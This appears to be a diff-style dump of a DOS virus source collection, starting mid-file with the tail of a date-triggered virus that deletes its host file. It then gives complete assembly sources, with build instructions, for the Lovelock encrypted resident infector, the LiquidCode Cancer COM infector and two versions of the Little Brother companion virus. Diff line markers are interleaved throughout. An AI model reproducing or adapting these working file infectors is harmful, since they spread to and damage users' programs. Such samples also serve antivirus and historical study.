jne no_day ;
|
||||
cont: ;
|
||||
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
|
||||
je set ;
|
||||
cmp byte ptr cs:[action_mes+bp],13 ;
|
||||
jne NO_DAY ;nop! fuck ret
|
||||
set: ;
|
||||
;
|
||||
mov ds,word ptr cs:[2ch] ;
|
||||
xor bx,bx ;
|
||||
nuevo: ;
|
||||
inc bx ;get file name!
|
||||
mov dl,byte ptr ds:[bx] ;
|
||||
cmp dl,00 ;
|
||||
jne nuevo ;
|
||||
nuevo1: ;
|
||||
inc bx ;
|
||||
mov dl,byte ptr ds:[bx] ;get file name!
|
||||
cmp dl,00 ;
|
||||
jne nuevo1 ;
|
||||
nuevo2: ;
|
||||
inc bx ;
|
||||
mov dl,byte ptr ds:[bx] ;get file name!
|
||||
cmp dl,01 ;
|
||||
jne nuevo2 ;
|
||||
nuevo3: ;
|
||||
inc bx ;
|
||||
mov dl,byte ptr ds:[bx] ;get file name!
|
||||
cmp dl,00 ;
|
||||
jne nuevo3 ;
|
||||
cero3: ;
|
||||
inc bx ;
|
||||
push bx ;
|
||||
pop dx ;
|
||||
push dx ;
|
||||
push ds ;
|
||||
push cs ;
|
||||
pop ds ;
|
||||
push cs ;
|
||||
pop es ;
|
||||
pop ds ;
|
||||
pop dx ;
|
||||
MOV AH,41H ;delete name
|
||||
iNT 21H ;ds:dx=file mame
|
||||
int 20h ;
|
||||
NO_DAY: ;
|
||||
ret ;
|
||||
;---------------------------------
|
||||
|
||||
ÿ;-------------;
|
||||
Dir_S: ;
|
||||
jmp dirsal ;
|
||||
no_Good:iret ;
|
||||
;-------------;
|
||||
|
||||
ÿaction_dia Db 01H ;day for the action
|
||||
action_mes Db 01H ;month for the action
|
||||
FECHA DW 012H ;Secon for mark
|
||||
FECHAd Db 012H ;Secon for mark dir st
|
||||
fin:
|
||||
code ends
|
||||
end start
|
||||
@@ -0,0 +1,352 @@
|
||||
; Virus generated by Gý 0.70á
|
||||
; Gý written by Dark Angel of Phalcon/Skism
|
||||
|
||||
; File: LOVELOCK.ASM
|
||||
; Lovelock by Ender
|
||||
|
||||
checkres1 = 'DA'
|
||||
checkres2 = 'PS'
|
||||
id = 'DA'
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
; Assemble with:
|
||||
; TASM /m3 filename.ASM
|
||||
; TLINK filename.OBJ
|
||||
; EXE2BIN filename.EXE filename.COM
|
||||
org 0000h
|
||||
|
||||
start:
|
||||
ENCRYPT:
|
||||
patchstart:
|
||||
mov bx, offset endencrypt
|
||||
mov cx, (heap-endencrypt)/2+1
|
||||
encrypt_loop:
|
||||
db 002Eh ; cs:
|
||||
db 0081h,0037h ; xor word ptr [bx], xxxx
|
||||
encryptvalue dw 0000h
|
||||
inc bx
|
||||
inc bx
|
||||
loop encrypt_loop
|
||||
endencrypt:
|
||||
call next
|
||||
next:
|
||||
pop bp
|
||||
sub bp, offset next
|
||||
|
||||
push es
|
||||
push ds
|
||||
|
||||
mov ax, checkres1 ; Installation check
|
||||
int 0021h
|
||||
cmp ax, checkres2 ; Already installed?
|
||||
jz done_install
|
||||
|
||||
mov ax, ds
|
||||
dec ax
|
||||
mov ds, ax
|
||||
|
||||
sub word ptr ds:[0003h], (endheap-start+15)/16+1
|
||||
sub word ptr ds:[0012h], (endheap-start+15)/16+1
|
||||
mov ax, ds:[0012h]
|
||||
mov ds, ax
|
||||
inc ax
|
||||
mov es, ax
|
||||
mov byte ptr ds:[0000h], 'Z'
|
||||
mov word ptr ds:[0001h], 0008h
|
||||
mov word ptr ds:[0003h], (endheap-start+15)/16
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
xor di, di
|
||||
mov cx, (heap-start)/2+1 ; Bytes to move
|
||||
mov si, bp ; lea si,[bp+offset start]
|
||||
rep movsw
|
||||
|
||||
xor ax, ax
|
||||
mov ds, ax
|
||||
push ds
|
||||
lds ax, ds:[21h*4] ; Get old int handler
|
||||
mov word ptr es:oldint21, ax
|
||||
mov word ptr es:oldint21+2, ds
|
||||
pop ds
|
||||
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
|
||||
mov ds:[21h*4+2], es ; in high memory
|
||||
|
||||
done_install:
|
||||
pop ds
|
||||
pop es
|
||||
cmp sp, id
|
||||
jne restore_COM
|
||||
restore_EXE:
|
||||
mov ax, es
|
||||
add ax, 0010h
|
||||
add cs:[bp+word ptr origCSIP+2], ax
|
||||
add ax, cs:[bp+word ptr origSPSS]
|
||||
cli
|
||||
mov ss, ax
|
||||
mov sp, cs:[bp+word ptr origSPSS+2]
|
||||
sti
|
||||
db 00EAh
|
||||
origCSIP db ?
|
||||
old3 db 0cdh,20h,0
|
||||
origSPSS dd ?
|
||||
|
||||
restore_COM:
|
||||
mov di, 0100h
|
||||
push di
|
||||
lea si, [bp+offset old3]
|
||||
movsb
|
||||
movsw
|
||||
ret
|
||||
|
||||
INT24:
|
||||
mov al, 0003h
|
||||
iret
|
||||
|
||||
int21:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
|
||||
cmp ax, 4B00h ; execute?
|
||||
jz execute
|
||||
return:
|
||||
jmp exitint21
|
||||
execute:
|
||||
mov word ptr cs:filename, dx
|
||||
mov word ptr cs:filename+2, ds
|
||||
mov ax, 3524h
|
||||
int 0021h
|
||||
push es
|
||||
push bx
|
||||
|
||||
mov ax, 2524h
|
||||
lea dx, INT24 ; ASSumes ds=cs
|
||||
int 0021h
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
|
||||
mov bx, dx
|
||||
cmp word ptr [bx+4], 'NA' ; Check if COMMAND.COM
|
||||
jz return ; Exit if so
|
||||
|
||||
lds dx, cs:filename
|
||||
mov ax, 4300h
|
||||
int 0021h
|
||||
jc return
|
||||
push cx
|
||||
push ds
|
||||
push dx
|
||||
|
||||
mov ax, 4301h ; clear file attributes
|
||||
push ax ; save for later use
|
||||
xor cx, cx
|
||||
int 0021h
|
||||
|
||||
lds dx, cs:filename
|
||||
mov ax, 3D02h
|
||||
int 0021h
|
||||
xchg ax, bx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax, 5700h ; get file time/date
|
||||
int 0021h
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov dx, offset readbuffer
|
||||
mov ah, 003Fh
|
||||
mov cx, 001Ah
|
||||
int 0021h
|
||||
|
||||
xor dx, dx
|
||||
xor cx, cx
|
||||
mov ax, 4202h
|
||||
int 0021h
|
||||
|
||||
cmp word ptr [offset readbuffer], 'ZM'
|
||||
jz checkEXE
|
||||
|
||||
mov cx, word ptr [offset readbuffer+1] ; jmp location
|
||||
add cx, heap-start+3 ; convert to filesize
|
||||
cmp ax, cx ; equal if already infected
|
||||
jz jmp_close
|
||||
|
||||
cmp ax, 65535-(endheap-start) ; check if too large
|
||||
ja jmp_close ; Exit if so
|
||||
|
||||
cmp ax, (heap-start) ; check if too small
|
||||
jb jmp_close ; Exit if so
|
||||
|
||||
mov di, offset old3
|
||||
mov si, offset readbuffer
|
||||
movsw
|
||||
movsb
|
||||
|
||||
mov si, ax ; save entry point
|
||||
add si, 0100h
|
||||
mov cx, 0003h
|
||||
sub ax, cx
|
||||
mov word ptr [offset readbuffer+1], ax
|
||||
mov dl, 00E9h
|
||||
mov byte ptr [offset readbuffer], dl
|
||||
jmp short continue_infect
|
||||
checkEXE:
|
||||
cmp word ptr [offset readbuffer+10h], id
|
||||
jnz skipp
|
||||
jmp_close:
|
||||
jmp close
|
||||
skipp:
|
||||
|
||||
lea si, readbuffer+14h
|
||||
lea di, origCSIP
|
||||
movsw ; Save original CS and IP
|
||||
movsw
|
||||
|
||||
sub si, 000Ah
|
||||
movsw ; Save original SS and SP
|
||||
movsw
|
||||
|
||||
push bx ; save file handle
|
||||
mov bx, word ptr [readbuffer+8] ; Header size in paragraphs
|
||||
mov cl, 0004h
|
||||
shl bx, cl
|
||||
|
||||
push dx ; Save file size on the
|
||||
push ax ; stack
|
||||
|
||||
sub ax, bx ; File size - Header size
|
||||
sbb dx, 0000h ; DX:AX - BX -> DX:AX
|
||||
|
||||
mov cx, 0010h
|
||||
div cx ; DX:AX/CX = AX Remainder DX
|
||||
|
||||
mov word ptr [readbuffer+10h], id ; Initial SP
|
||||
mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment
|
||||
mov word ptr [readbuffer+14h], dx ; IP Offset
|
||||
mov word ptr [readbuffer+16h], ax ; Para disp CS in module.
|
||||
|
||||
mov si, dx ; save entry point
|
||||
pop ax ; Filelength in DX:AX
|
||||
pop dx
|
||||
|
||||
add ax, heap-start
|
||||
adc dx, 0000h
|
||||
|
||||
mov cl, 0009h
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 0001h
|
||||
|
||||
mov word ptr [readbuffer+2], ax ; the EXE header.
|
||||
mov word ptr [readbuffer+4], dx ; Fix-up the file size in
|
||||
|
||||
pop bx ; restore file handle
|
||||
mov cx, 001Ah
|
||||
|
||||
continue_infect:
|
||||
push cx ; save # bytes to write
|
||||
|
||||
get_encrypt_value:
|
||||
mov ah, 002Ch ; Get current time
|
||||
int 0021h
|
||||
|
||||
or dx, dx ; Check if encryption value = 0
|
||||
jz get_encrypt_value ; Get another if it is
|
||||
|
||||
add si, (offset endencrypt-offset encrypt)
|
||||
mov word ptr ds:[patchstart+1], si
|
||||
mov word ptr ds:[encryptvalue], dx
|
||||
|
||||
mov cx, (heap-encrypt)/2
|
||||
mov di, offset encryptbuffer
|
||||
mov si, offset ENCRYPT
|
||||
push si
|
||||
rep movsw ; copy virus to buffer
|
||||
|
||||
mov ax, offset endencrypt-encrypt+encryptbuffer
|
||||
mov word ptr ds:[patchstart+1], ax
|
||||
pop si
|
||||
push offset endencrypt
|
||||
mov byte ptr [offset endencrypt], 00C3h ; retn
|
||||
push bx
|
||||
call si ; encrypt virus in buffer
|
||||
pop bx
|
||||
pop word ptr [offset endencrypt]
|
||||
|
||||
|
||||
mov ah, 0040h
|
||||
mov cx, heap-encrypt
|
||||
mov dx, offset encryptbuffer
|
||||
int 0021h
|
||||
|
||||
xor cx, cx
|
||||
mov ax, 4200h
|
||||
xor dx, dx
|
||||
int 0021h
|
||||
|
||||
|
||||
mov dx, offset readbuffer
|
||||
mov ah, 0040h
|
||||
pop cx
|
||||
int 0021h
|
||||
|
||||
|
||||
close:
|
||||
mov ax, 5701h ; restore file time/date
|
||||
pop dx
|
||||
pop cx
|
||||
int 0021h
|
||||
|
||||
mov ah, 003Eh
|
||||
int 0021h
|
||||
|
||||
pop ax ; restore file attributes
|
||||
pop dx ; get filename and
|
||||
pop ds
|
||||
pop cx ; attributes from stack
|
||||
int 0021h
|
||||
|
||||
pop dx
|
||||
pop ds
|
||||
mov ax, 2524h
|
||||
int 0021h
|
||||
|
||||
exitint21:
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
db 00EAh ; return to original handler
|
||||
oldint21 dd ?
|
||||
|
||||
signature db '[PS/Gý]',0 ; Phalcon/Skism Gý
|
||||
creator db 'Ender',0
|
||||
virusname db 'Lovelock',0
|
||||
|
||||
heap:
|
||||
encryptbuffer db (heap-encrypt)+1 dup (?)
|
||||
filename dd ?
|
||||
readbuffer db 1ah dup (?)
|
||||
endheap:
|
||||
end start
|
||||
Binary file not shown.
@@ -0,0 +1,138 @@
|
||||
page ,132
|
||||
name LiquidCodeCANCER
|
||||
title LQCancer - a mutation of the V-847 virus
|
||||
.radix 16
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100
|
||||
|
||||
olddta equ 80
|
||||
virlen equ offset endcode - offset start
|
||||
smalcod equ offset endcode - offset transf
|
||||
buffer equ offset endcode + 100
|
||||
newdta equ offset endcode + 10
|
||||
fname = newdta + 1E
|
||||
virlenx = offset endcode - offset start
|
||||
|
||||
start:
|
||||
jmp cancer
|
||||
|
||||
ident db 'LiquidCode<tm>'
|
||||
counter db 0
|
||||
allcom db '*.COM',0
|
||||
vleng db virlen
|
||||
n_10D db 3 ;Unused
|
||||
progbeg dd ?
|
||||
eof dw ?
|
||||
handle dw ?
|
||||
|
||||
cancer:
|
||||
mov ax,cs ;Move program code
|
||||
add ax,1000 ; 64K bytes forward
|
||||
mov es,ax
|
||||
inc [counter]
|
||||
mov si,offset start
|
||||
xor di,di
|
||||
mov cx,virlen
|
||||
rep movsb
|
||||
|
||||
mov dx,newdta ;Set new Disk Transfer Address
|
||||
mov ah,1A ;Set DTA
|
||||
mov ah,ah ;****
|
||||
int 21
|
||||
mov ah,ah ;****
|
||||
mov dx,offset allcom ;Search for '*.COM' files
|
||||
mov cx,110b ;Normal, Hidden or System
|
||||
mov ah,4E ;Find First file
|
||||
int 21
|
||||
jc done ;Quit if none found
|
||||
|
||||
mainlp:
|
||||
mov dx,offset fname
|
||||
mov ax,3D02 ;Open file in Read/Write mode
|
||||
int 21
|
||||
mov [handle],ax ;Save handle
|
||||
mov bx,ax
|
||||
push es
|
||||
pop ds
|
||||
mov dx,buffer
|
||||
mov cx,0FFFF ;Read all bytes
|
||||
mov ah,3F ;Read from handle
|
||||
int 21 ;Bytes read in AX
|
||||
add ax,buffer
|
||||
mov cs:[eof],ax ;Save pointer to the end of file
|
||||
|
||||
xor cx,cx ;Go to file beginning
|
||||
mov dx,cx
|
||||
mov bx,cs:[handle]
|
||||
mov ax,4200 ;LSEEK from the beginning of the file
|
||||
int 21
|
||||
jc close ;Leave this file if error occures
|
||||
|
||||
mov dx,0 ;Write the whole code (virus+file)
|
||||
mov cx,cs:[eof] ; back onto the file
|
||||
mov bx,cs:[handle]
|
||||
mov ah,40 ;Write to handle
|
||||
int 21
|
||||
|
||||
close:
|
||||
mov bx,cs:[handle]
|
||||
mov ah,3E ;Close the file
|
||||
int 21
|
||||
|
||||
push cs
|
||||
pop ds ;Restore DS
|
||||
mov ah,4F ;Find next matching file
|
||||
mov dx,newdta
|
||||
int 21
|
||||
jc done ;Exit if all found
|
||||
jmp mainlp ;Otherwise loop again
|
||||
|
||||
done:
|
||||
mov dx,olddta ;Restore old Disk Transfer Address
|
||||
mov ah,1A ;Set DTA
|
||||
int 21
|
||||
|
||||
mov si,offset transf ;Move this part of code
|
||||
mov cx,smalcod ;Code length
|
||||
xor di,di ;Move to ES:0
|
||||
rep movsb ;Do it
|
||||
|
||||
xor di,di ;Clear DI
|
||||
mov word ptr cs:[progbeg],0
|
||||
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
|
||||
jmp cs:[progbeg] ;Jump at program start
|
||||
|
||||
transf:
|
||||
push ds
|
||||
pop es
|
||||
mov si,buffer+100
|
||||
cmp [counter],1
|
||||
jne skip
|
||||
sub si,200
|
||||
skip:
|
||||
mov di,offset start
|
||||
mov di,di ;****
|
||||
mov bx,0ffff ;****
|
||||
mov cx,bx ;Restore original program's code
|
||||
mov ah,ah ;****
|
||||
sub cx,si
|
||||
rep movsb
|
||||
mov word ptr cs:[start],offset start
|
||||
mov word ptr cs:[start+2],ds
|
||||
jmp dword ptr cs:[start] ;Jump to program start
|
||||
endcode label byte
|
||||
|
||||
int 20 ;Dummy program
|
||||
int 20 ;???
|
||||
|
||||
db 0 ;Unused
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
@@ -0,0 +1,247 @@
|
||||
|
||||
;****************************************************************************
|
||||
;* *
|
||||
;* ASM Source Code For: *
|
||||
;* Little Brother Virus - Version 1 *
|
||||
;* *
|
||||
;****************************************************************************
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:nothing
|
||||
|
||||
org 100h
|
||||
|
||||
FILELEN equ end - begin
|
||||
RESPAR equ (FILELEN/16) + 17
|
||||
VERSION equ 1
|
||||
oi21 equ end
|
||||
nameptr equ end+4
|
||||
DTA equ end+8
|
||||
|
||||
.RADIX 16
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Start the program!
|
||||
;****************************************************************************
|
||||
|
||||
begin: cld
|
||||
|
||||
mov ax,0DEDEh ;already installed?
|
||||
int 21h
|
||||
cmp ah,041h
|
||||
je cancel
|
||||
|
||||
mov ax,0044h ;move program to empty hole
|
||||
mov es,ax
|
||||
mov di,0100h
|
||||
mov si,di
|
||||
mov cx,FILELEN
|
||||
rep movsb
|
||||
|
||||
mov ds,cx ;get original int21 vector
|
||||
mov si,0084h
|
||||
mov di,offset oi21
|
||||
movsw
|
||||
movsw
|
||||
|
||||
push es ;set vector to new handler
|
||||
pop ds
|
||||
mov dx,offset ni21
|
||||
mov ax,2521h
|
||||
int 21h
|
||||
|
||||
cancel: ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* File-extensions
|
||||
;****************************************************************************
|
||||
|
||||
EXE_txt db 'EXE',0
|
||||
COM_txt db 'COM',0
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 24
|
||||
;****************************************************************************
|
||||
|
||||
ni24: mov al,03
|
||||
iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 21
|
||||
;****************************************************************************
|
||||
|
||||
ni21: pushf
|
||||
|
||||
cmp ax,0DEDEh ;install-check ?
|
||||
je do_DEDE
|
||||
|
||||
push dx
|
||||
push bx
|
||||
push ax
|
||||
push ds
|
||||
push es
|
||||
|
||||
cmp ax,4B00h ;execute ?
|
||||
jne exit
|
||||
|
||||
doit: call infect
|
||||
|
||||
exit: pop es
|
||||
pop ds
|
||||
pop ax
|
||||
pop bx
|
||||
pop dx
|
||||
popf
|
||||
|
||||
jmp dword ptr cs:[oi21] ;call to old int-handler
|
||||
|
||||
do_DEDE: mov ax,04100h+VERSION ;return a signature
|
||||
popf
|
||||
iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
||||
;****************************************************************************
|
||||
|
||||
infect: cld
|
||||
|
||||
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
|
||||
mov word ptr cs:[nameptr+2],ds
|
||||
|
||||
push cs ;set new DTA
|
||||
pop ds
|
||||
mov dx,offset DTA
|
||||
mov ah,1Ah
|
||||
int 21
|
||||
|
||||
call searchpoint
|
||||
mov si,offset EXE_txt ;is extension 'EXE'?
|
||||
mov cx,3
|
||||
rep cmpsb
|
||||
jnz do_com
|
||||
|
||||
do_exe: mov si,offset COM_txt ;change extension to COM
|
||||
call change_ext
|
||||
|
||||
mov ax,3300h ;get ctrl-break flag
|
||||
int 21
|
||||
push dx
|
||||
|
||||
xor dl,dl ;clear the flag
|
||||
mov ax,3301h
|
||||
int 21
|
||||
|
||||
mov ax,3524h ;get int24 vector
|
||||
int 21
|
||||
push bx
|
||||
push es
|
||||
|
||||
push cs ;set int24 vec to new handler
|
||||
pop ds
|
||||
mov dx,offset ni24
|
||||
mov ax,2524h
|
||||
int 21
|
||||
|
||||
lds dx,dword ptr [nameptr] ;create the file (unique name)
|
||||
xor cx,cx
|
||||
mov ah,5Bh
|
||||
int 21
|
||||
jc return1
|
||||
xchg bx,ax ;save handle
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,FILELEN ;write the file
|
||||
mov dx,offset begin
|
||||
mov ah,40h
|
||||
int 21
|
||||
cmp ax,cx
|
||||
pushf
|
||||
|
||||
mov ah,3Eh ;close the file
|
||||
int 21
|
||||
|
||||
popf
|
||||
jz return1 ;all bytes written?
|
||||
|
||||
lds dx,dword ptr [nameptr] ;delete the file
|
||||
mov ah,41h
|
||||
int 21
|
||||
|
||||
return1: pop ds ;restore int24 vector
|
||||
pop dx
|
||||
mov ax,2524h
|
||||
int 21
|
||||
|
||||
pop dx ;restore ctrl-break flag
|
||||
mov ax,3301h
|
||||
int 21
|
||||
|
||||
mov si,offset EXE_txt ;change extension to EXE
|
||||
call change_ext
|
||||
|
||||
return: ret
|
||||
|
||||
do_com: call findfirst ;is the file a virus?
|
||||
cmp word ptr cs:[DTA+1Ah],FILELEN
|
||||
jne return
|
||||
mov si,offset EXE_txt ;does the EXE-variant exist?
|
||||
call change_ext
|
||||
call findfirst
|
||||
jnc return
|
||||
mov si,offset COM_txt ;change extension to COM
|
||||
jmp short change_ext
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Find the file
|
||||
;****************************************************************************
|
||||
|
||||
findfirst: lds dx,dword ptr [nameptr]
|
||||
mov cl,27h
|
||||
mov ah,4Eh
|
||||
int 21
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* change the extension of the filename (CS:SI -> ext)
|
||||
;****************************************************************************
|
||||
|
||||
change_ext: call searchpoint
|
||||
push cs
|
||||
pop ds
|
||||
movsw
|
||||
movsw
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* search begin of extension
|
||||
;****************************************************************************
|
||||
|
||||
searchpoint: les di,dword ptr cs:[nameptr]
|
||||
mov ch,0FFh
|
||||
mov al,'.'
|
||||
repnz scasb
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Text and Signature
|
||||
;****************************************************************************
|
||||
|
||||
db 'Little Brother',0
|
||||
|
||||
end:
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,265 @@
|
||||
;****************************************************************************
|
||||
;* Little Brother version 2
|
||||
;*
|
||||
;* Compile with MASM 4.0
|
||||
;* (other assemblers will probably not produce the same result)
|
||||
;*
|
||||
;* Disclaimer:
|
||||
;* This file is only for educational purposes. The author takes no
|
||||
;* responsibility for anything anyone does with this file. Do not
|
||||
;* modify this file!
|
||||
;****************************************************************************
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:nothing
|
||||
|
||||
.RADIX 16
|
||||
|
||||
FILELEN equ end - begin
|
||||
RESPAR equ (FILELEN/16d) + 17d
|
||||
VERSION equ 2
|
||||
oi21 equ end
|
||||
nameptr equ end+4
|
||||
DTA equ end+8
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Install the program!
|
||||
;****************************************************************************
|
||||
|
||||
org 100h
|
||||
|
||||
begin: cld
|
||||
|
||||
mov ax,0044h ;move program to empty hole
|
||||
mov es,ax
|
||||
mov di,0100h
|
||||
mov si,di
|
||||
mov cx,FILELEN
|
||||
rep movsb
|
||||
|
||||
mov ds,cx ;get original int21 vector
|
||||
mov si,0084h
|
||||
mov di,offset oi21
|
||||
mov dx,offset ni21
|
||||
lodsw
|
||||
cmp ax,dx ;already installed?
|
||||
je cancel
|
||||
stosw
|
||||
movsw
|
||||
|
||||
push es ;set vector to new handler
|
||||
pop ds
|
||||
mov ax,2521h
|
||||
int 21h
|
||||
|
||||
cancel: ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* File-extensions
|
||||
;****************************************************************************
|
||||
|
||||
EXE_txt db 'EXE',0
|
||||
COM_txt db 'COM',0
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 24
|
||||
;****************************************************************************
|
||||
|
||||
ni24: mov al,03
|
||||
iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 21
|
||||
;****************************************************************************
|
||||
|
||||
ni21: pushf
|
||||
push dx
|
||||
push bx
|
||||
push ax
|
||||
push ds
|
||||
push es
|
||||
|
||||
cmp ax,4B00h ;execute ?
|
||||
jne exit
|
||||
|
||||
doit: call infect
|
||||
|
||||
exit: pop es
|
||||
pop ds
|
||||
pop ax
|
||||
pop bx
|
||||
pop dx
|
||||
popf
|
||||
|
||||
jmp dword ptr cs:[oi21] ;call to old int-handler
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
||||
;****************************************************************************
|
||||
|
||||
infect: cld
|
||||
|
||||
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
|
||||
mov word ptr cs:[nameptr+2],ds
|
||||
|
||||
mov ah,2Fh ;get old DTA
|
||||
int 21
|
||||
push es
|
||||
push bx
|
||||
|
||||
push cs ;set new DTA
|
||||
pop ds
|
||||
mov dx,offset DTA
|
||||
mov ah,1Ah
|
||||
int 21
|
||||
|
||||
call searchpoint
|
||||
push di
|
||||
mov si,offset COM_txt ;is extension 'COM'?
|
||||
mov cx,3
|
||||
rep cmpsb
|
||||
pop di
|
||||
jz do_com
|
||||
|
||||
mov si,offset EXE_txt ;is extension 'EXE'?
|
||||
mov cl,3
|
||||
rep cmpsb
|
||||
jnz return
|
||||
|
||||
do_exe: mov si,offset COM_txt ;change extension to COM
|
||||
call change_ext
|
||||
|
||||
mov ax,3300h ;get ctrl-break flag
|
||||
int 21
|
||||
push dx
|
||||
|
||||
cwd ;clear the flag
|
||||
inc ax
|
||||
push ax
|
||||
int 21
|
||||
|
||||
mov ax,3524h ;get int24 vector
|
||||
int 21
|
||||
push bx
|
||||
push es
|
||||
|
||||
push cs ;set int24 vec to new handler
|
||||
pop ds
|
||||
mov dx,offset ni24
|
||||
mov ah,25h
|
||||
push ax
|
||||
int 21
|
||||
|
||||
lds dx,dword ptr [nameptr] ;create the virus (unique name)
|
||||
xor cx,cx
|
||||
mov ah,5Bh
|
||||
int 21
|
||||
jc return1
|
||||
xchg bx,ax ;save handle
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,FILELEN ;write the virus
|
||||
mov dx,offset begin
|
||||
mov ah,40h
|
||||
int 21
|
||||
cmp ax,cx
|
||||
pushf
|
||||
|
||||
mov ah,3Eh ;close the file
|
||||
int 21
|
||||
|
||||
popf
|
||||
jz return1 ;all bytes written?
|
||||
|
||||
lds dx,dword ptr [nameptr] ;no, delete the virus
|
||||
mov ah,41h
|
||||
int 21
|
||||
|
||||
return1: pop ax ;restore int24 vector
|
||||
pop ds
|
||||
pop dx
|
||||
int 21
|
||||
|
||||
pop ax ;restore ctrl-break flag
|
||||
pop dx
|
||||
int 21
|
||||
|
||||
mov si,offset EXE_txt ;change extension to EXE
|
||||
call change_ext ;execute EXE-file
|
||||
|
||||
return: mov ah,1Ah ;restore old DTA
|
||||
pop dx
|
||||
pop ds
|
||||
int 21
|
||||
|
||||
ret
|
||||
|
||||
do_com: call findfirst ;is the COM-file a virus?
|
||||
cmp word ptr cs:[DTA+1Ah],FILELEN
|
||||
jne return ;no, execute COM-file
|
||||
mov si,offset EXE_txt ;does the EXE-variant exist?
|
||||
call change_ext
|
||||
call findfirst
|
||||
jnc return ;yes, execute EXE-file
|
||||
mov si,offset COM_txt ;change extension to COM
|
||||
call change_ext
|
||||
jmp short return ;execute COM-file
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Find the file
|
||||
;****************************************************************************
|
||||
|
||||
findfirst: lds dx,dword ptr [nameptr]
|
||||
mov cl,27h
|
||||
mov ah,4Eh
|
||||
int 21
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* change the extension of the filename (CS:SI -> ext)
|
||||
;****************************************************************************
|
||||
|
||||
change_ext: call searchpoint
|
||||
push cs
|
||||
pop ds
|
||||
movsw
|
||||
movsw
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* search begin of extension
|
||||
;****************************************************************************
|
||||
|
||||
searchpoint: les di,dword ptr cs:[nameptr]
|
||||
mov ch,0FFh
|
||||
mov al,0
|
||||
repnz scasb
|
||||
sub di,4
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Text and Signature
|
||||
;****************************************************************************
|
||||
|
||||
db 'Little Brother',0
|
||||
|
||||
end:
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
